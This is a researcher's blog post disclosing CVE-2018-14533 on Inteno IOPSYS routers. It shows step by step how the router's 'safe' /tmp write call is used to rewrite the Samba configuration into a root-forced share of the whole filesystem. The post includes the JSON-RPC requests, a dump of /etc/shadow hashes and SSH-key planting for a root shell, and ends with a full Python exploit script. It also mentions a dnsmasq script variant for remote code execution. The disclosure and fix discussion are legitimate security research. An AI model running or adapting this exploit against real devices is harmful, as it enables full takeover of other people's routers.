From writing to /tmp to a root shell on Inteno IOPSYS
In this blog post, I describe how multiple safe features and configurations can be used to gain full filesystem read-write access - and a root shell - on devices running Inteno's IOPSYS as an authenticated user. This issue has been assigned the CVE ID: CVE-2018-14533.
I've written reports for vulnerabilities on Inteno's devices before (1, 2, 3, 4). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.
This time, I tried having a look at the "safe" methods to read and write files from and to /tmp
. These functions exist in the file
namespace and are called read_tmp
and write_tmp
. There used to be functions simply named read
and write
as well, however, after I demonstrated that these are insecure as they grant full access to the filesystem, they were restricted to the admin
user and these new ones were created so the user
account could still write and read some files.
Here's how some example usage might look like:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/test", "data": "hello"}], "id": "0"}
< {"jsonrpc": "2.0", "id": "0", "result": [0]}
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "read_tmp", {"path": "/tmp/test"}], "id": "1"}
< {"jsonrpc": "2.0", "id": "1","result": [0, {"data": "hello"}]}
They are "safe" as you can't use them to read-write anywhere but /tmp
, are secure against path traversal, etc. There's nothing necessarily wrong with these functions - the vulnerability only occurs because of a peculiarity of OpenWRT/LEDE, on which IOPSYS is based.
To describe this shortly: Do you see something irregular in the output of ls -l /
on the device?
root@Inteno:~# ls -l /
-rw-rw-r-- 1 root root 0 May 22 15:51 base-iopsys
drwxr-xr-x 3 root root 4376 May 22 20:19 bin
drwxr-xr-x 5 root root 6000 May 22 20:21 dev
drwxr-xr-x 1 root root 1808 May 22 20:22 etc
drwxr-xr-x 3 root root 224 Jun 18 21:19 home
drwxr-xr-x 1 root root 224 May 22 20:21 lib
drwxrwxrwt 2 root root 40 Jan 1 1970 mnt
drwxr-xr-x 7 root root 480 Jun 18 21:19 overlay
dr-xr-xr-x 116 root root 0 Jan 1 1970 proc
drwxrwxr-x 16 support 1002 1192 Jan 1 1970 rom
drwxr-xr-x 2 root root 160 May 22 19:37 root
drwxr-xr-x 2 root root 6304 May 22 20:19 sbin
dr-xr-xr-x 12 root root 0 Jan 1 1970 sys
drwxrwxrwt 29 root root 1220 Jul 21 15:22 tmp
drwxr-xr-x 1 root root 288 May 22 20:18 usr
lrwxrwxrwx 1 root root 4 May 22 20:19 var -> /tmp
drwxr-xr-x 1 root root 296 May 22 20:22 www
If you spotted it, you might already know where this is going.
OpenWRT devices are usually quite low on storage. The operating system is stored in non-volatile memory, usually on a filesystem with just enough space to fit the operating system, and /tmp
is stored as a tmpfs filesystem, which is volatile (i.e. stored on RAM). For reasons, /var
is symlinked to /tmp
. This means that everything created in /var
gets dumped to /tmp
- same for reading files. Evidently, some configuration files are also stored in /var
. An example of this is the Samba daemon, which lets the user create shares on the device using the admin panel.
The Samba configuration itself is stored as /tmp/etc/smb.conf
. We can read this using file:read_tmp
:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "read_tmp", {"path": "/tmp/etc/smb.conf"}], "id": "2"}
< {"jsonrpc": "2.0", "id": "2", "result": [0, {"data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = nobody\n\tinvalid users = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = \n\tbind interfaces only = yes\n\twide links = no\n"}]}
We can see that the configuration looks like this by default:
[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = nobody
invalid users = root
smb passwd file = /etc/samba/smbpasswd
interfaces =
bind interfaces only = yes
wide links = no
If we tell Samba to listen on an interface (essentially enabling it) and adding an "Example" share with guest access, the configuration looks like this:
[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = nobody
invalid users = root
smb passwd file = /etc/samba/smbpasswd
interfaces = 192.168.1.1/24 br-lan
bind interfaces only = yes
wide links = no
[Example]
path = /mnt
read only = no
guest ok = yes
create mask = 0700
directory mask = 0700
We can connect to our new share using smbclient
:
$ smbclient //192.168.1.1/Example -U%
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jan 1 03:00:11 1970
.. D 0 Mon Jun 18 22:19:01 2018
64 blocks of size 1024. 64 blocks available
Let's see what happens if we change the configuration file to add our own share with the path set to /
:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = nobody\n\tinvalid users = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700"}], "id": "3"}
< < {"jsonrpc": "2.0", "id":"3", "result": [0]}
If we try connecting to the share and doing ls
:
$ smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jun 18 22:19:01 2018
.. D 0 Mon Jun 18 22:19:01 2018
bin D 0 Tue May 22 21:19:35 2018
dev D 0 Sat Jul 7 15:42:58 2018
etc D 0 Sat Jul 7 15:42:58 2018
lib D 0 Tue May 22 21:21:51 2018
mnt D 0 Thu Jan 1 03:00:11 1970
rom D 0 Thu Jan 1 03:00:05 1970
tmp D 0 Sat Jul 21 17:32:38 2018
sys DR 0 Thu Jan 1 03:00:02 1970
var D 0 Sat Jul 21 17:32:38 2018
usr D 0 Tue May 22 21:18:15 2018
www D 0 Sat Jul 7 15:43:10 2018
proc DR 0 Thu Jan 1 03:00:00 1970
sbin D 0 Tue May 22 21:19:36 2018
root D 0 Tue May 22 20:37:56 2018
base-iopsys N 0 Tue May 22 16:51:41 2018
overlay D 0 Mon Jun 18 22:19:01 2018
home D 0 Mon Jun 18 22:19:01 2018
49084 blocks of size 1024. 16592 blocks available
Great! We can see the directory listing. Can we read sensitive files, like /etc/shadow
?
smb: \> get /etc/shadow -
NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow
The access is denied. Upon further inspection of the configuration file, this makes sense - we're connecting as the guest user and the config file has the following set:
guest account = nobody
invalid users = root
What if we modify the config to set the guest account to root and remove the invalid users line?
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700"}], "id": "4"}
< {"jsonrpc": "2.0", "id": "4", "result": [0]}
Reconnecting and trying again:
$ smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> get /etc/shadow -
NT_STATUS_ACCESS_DENIED opening remote file \etc\shadow
Still not working. Seems like the daemon doesn't want to let the guests connect as root, which is expected. However, the Samba configuration documentation lists an interesting configuration option you can set on shares:
force user (S)
This specifies a UNIX user name that will be assigned as the default user for all users connecting to this service. This is useful for sharing files. You should also use it carefully as using it incorrectly can cause security problems.
So let's modify the config once more to force all connecting users to log in as root:
> {"jsonrpc": "2.0", "method": "call", "params": ["0123456789abcdef0123456789abcdef", "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": "[global]\n\tnetbios name = IntenoSMB \n\tworkgroup = IntenoSMB\n\tserver string = IntenoSMB\n\tsyslog = 10\n\tencrypt passwords = true\n\tpassdb backend = smbpasswd\n\tobey pam restrictions = yes\n\tsocket options = TCP_NODELAY\n\tunix charset = UTF-8\n\tpreferred master = yes\n\tos level = 20\n\tsecurity = user\n\tguest account = root\n\tsmb passwd file = \/etc\/samba\/smbpasswd\n\tinterfaces = 192.168.1.1/24 br-lan\n\tbind interfaces only = yes\n\twide links = no\n\n[pwn]\n\tpath = /\n\tread only = no\n\tguest ok = yes\n\tcreate mask = 0700\n\tdirectory mask = 0700\n\tforce user = root"}], "id": "5"}
< {"jsonrpc": "2.0", "id": "5", "result": [0]}
smbclient //192.168.1.1/pwn -U%
Try "help" to get a list of possible commands.
smb: \> get /etc/shadow -
root:$1$hixkj06D$465iCCMxkKbE6OW9NbcOV1:0:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
admin:$1$w5plvxdZ$BtjmHfRk9wraLxKP3ufpV1:16570:0:99999:7:::
user:$1$pO./q6.f$E514ioZkW9si4WaUMvBfW/:16570:0:99999:7:::
support:$1$zUDyoAfn$nv/bvwS3Wl8MsDu98gsqi0:16570:0:99999:7:::
ice:$1$trxjeBww$BQBpPZjKX9JizO9bzZrl41:17673:0:99999:7:::
getting file \etc\shadow of size 388 as - (31.6 KiloBytes/sec) (average 31.6 KiloBytes/sec)
Looks like we can read /etc/shadow
now, indicating that we have full access to the filesystem as root.
We can do pretty much everything now. As an easy example, we can drop an SSH key on the device and SSH in as root:
smb: \> put /home/nns/.ssh/id_dsa.pub /etc/dropbear/authorized_keys
putting file /home/nns/.ssh/id_dsa.pub as \etc\dropbear\authorized_keys (41.3 kb/s) (average 41.3 kb/s)
smb: \> ^C
$ ssh root@192.168.1.1
BusyBox v1.23.2 (2018-05-22 19:37:59 CEST) built-in shell (ash)
________ ___ ______ ______
/ _/ __ \/ _ \/ __/\ \/ / __/
_/ // /_/ / ___/\ \ \ /\ \
/___/\____/_/ /___/ /_/___/
Inteno Open Platform System (IOPSYS)
IOP Version: DG400-WU7U_INT3.15.1BETA2-180522_2021
OpenWrt Base: Chaos Breaker (14.07/15.05)
BrcmRef Base: 4.16L.05
------------------------------------
root@Inteno:~#
Of course, abusing the Samba configuration is just one way to exploit this vulnerability. The vulnerability can be used for other attacks as well - for example, you can include dhcp-script=/tmp/evil_script.sh
in /tmp/etc/dnsmasq.conf
for RCE as root, or cause DoS attacks by malforming important PID and lock files, among other things.
How can this be fixed? The obvious fix is to not let the user write to anywhere on the filesystem - however, this would break features that depend on this functionality, so that's not very practical. If writing to the filesystem is still important, how about limiting it to a directory in /tmp
(for example /tmp/userfiles
) and restricting access to that directory? That would ensure that the user doesn't have access to any additional, potentially dangerous files.
UPDATE: The vendor has applied a fix, and all files are now stored in /tmp/juci
. Furthermore, the names of the calls were changed from read_tmp
and write_tmp
to read_tmp_juci
and write_tmp_juci
respectively.
I've also written a proof of concept script in Python, which you can find below. It requires Python 3, a module called websocket-client
which you can install by evoking pip install websocket-client
and the Unix tool smbclient
. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices.
#!/usr/bin/env python3
# Usage: cve-2018-14533.py <ip> <username> <password> <ssh key file>
# Details: https://neonsea.uk/blog/2018/07/21/tmp-to-rce.html
import json
import sys
import subprocess
import socket
import os
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [
"00000000000000000000000000000000",
"session",
"login",
{"username": username, "password": password},
],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get("result")[1].get("ubus_rpc_session")
except IndexError:
return None
return key
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [key, namespace, argument, params],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get("result")[1]
except IndexError:
if response.get("result")[0] == 0:
return True
return None
return result
def getArguments():
if len(sys.argv) != 5:
print(f"Usage: {sys.argv[0]} <ip> <username> <password> <ssh key file>")
sys.exit(1)
else:
return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
if __name__ == "__main__":
host, user, pasw, keyfile = getArguments()
conf = f"""[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = root
smb passwd file = /etc/samba/smbpasswd
interfaces = {host}/24 br-lan
bind interfaces only = yes
wide links = no
[pwn]
path = /
read only = no
guest ok = yes
create mask = 0700
directory mask = 0700
force user = root
"""
with open(keyfile, "r") as f:
sshkey = f.read()
print("Authenticating...")
key = ubusAuth(host, user, pasw)
if not key:
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Dropping evil Samba config...")
ltc = ubusCall(
host, key, "file", "write_tmp", {"path": "/tmp/etc/smb.conf", "data": conf}
)
if not ltc:
print("Failed to write evil config!")
sys.exit(1)
print("Creating temp file for key...")
with open(".key.tmp", "a+") as file:
file.write(sshkey)
path = os.path.realpath(file.name)
print("Dropping key...")
subprocess.run(
"smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(
r"\\\\" + host + r"\\", path
),
shell=True,
check=True,
)
print("Key dropped")
print("Cleaning up...")
os.remove(path)
print('Exploitation complete. Try "ssh root@%s"' % host)